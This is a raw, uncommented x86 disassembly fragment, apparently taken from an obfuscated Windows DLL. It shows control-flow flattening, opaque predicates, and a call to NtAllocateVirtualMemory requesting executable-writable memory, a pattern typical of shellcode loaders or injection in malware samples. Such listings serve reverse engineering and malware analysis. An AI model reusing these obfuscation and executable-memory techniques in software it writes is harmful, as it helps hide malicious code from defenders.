and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x905a9f8c
mov ecx, 0x5d848a75
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov dword [ebp - 0x14c], 0xf2f65b
jmp 0x1000f83f
mov ecx, dword [0x1006fc88]
mov eax, dword [0x1006fc84]
mov edx, ecx
add edx, 0x3344a74a
sub edx, 1
sub edx, 0x3344a74a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x612f8d0f
mov ecx, 0x4a7c1210
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov ecx, dword [0x1006fc88]
mov eax, dword [0x1006fc84]
mov edx, ecx
add edx, 0x6d628fdc
sub edx, 1
sub edx, 0x6d628fdc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1c78bac8
mov ecx, 0xa2d5b225
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov dword [ebp - 0x14c], 0xed4d42a6
jmp 0x1000f83f
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10010650
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x14c], 0xf4f5dfee
jmp 0x1000f83f
mov ecx, dword [0x1006fc88]
mov eax, dword [0x1006fc84]
mov edx, ecx
add edx, 0x5adf32ff
sub edx, 1
sub edx, 0x5adf32ff
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9995fe9f
mov ecx, 0x5cfb2648
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x14c], 0xa5a58a13
jmp 0x1000f83f
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x14c], 0x8cba023a
jmp 0x1000f83f
mov eax, dword [ebp - 0x9c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x120]
mov eax, dword [ebp - 0x11c]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x14c], 0x34811b29
jmp 0x1000f83f
mov eax, dword [0x1006fc88]
mov ecx, dword [0x1006fc84]
mov edx, eax
add edx, 0xd7dfd6c0
sub edx, 1
sub edx, 0xd7dfd6c0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x76da22c6
mov ecx, 0xfa83574a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov eax, dword [ebp - 0x4c]
mov eax, dword [0x1006fc88]
mov ecx, dword [0x1006fc84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3a4a77af
mov ecx, 0x6b4ab272
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov eax, dword [0x1006fc88]
mov ecx, dword [0x1006fc84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x344658ba
mov ecx, 0x551545aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x14c], 0x5d848a75
jmp 0x1000f83f
mov dword [ebp - 0x14c], 0xbbba7172
jmp 0x1000f83f
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x14c], 0x79686d1b
jmp 0x1000f83f
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x14c], 0x601c2e65
jmp 0x1000f83f
mov dword [ebp - 0x14c], 0xa753714d
jmp 0x1000f83f
mov eax, dword [ebp - 0xf0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov dword [ebp - 0x14c], 0xadba5cfd
jmp 0x1000f83f
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x14c], 0x94dbc4c0
jmp 0x1000f83f
mov dword [ebp - 0x14c], 0xb0efee5a
jmp 0x1000f83f
mov dword [ebp - 0x14c], 0xce49023d
jmp 0x1000f83f
mov dword [ebp - 0x14c], 0x8e3836b2
jmp 0x1000f83f
jmp 0x10007ac7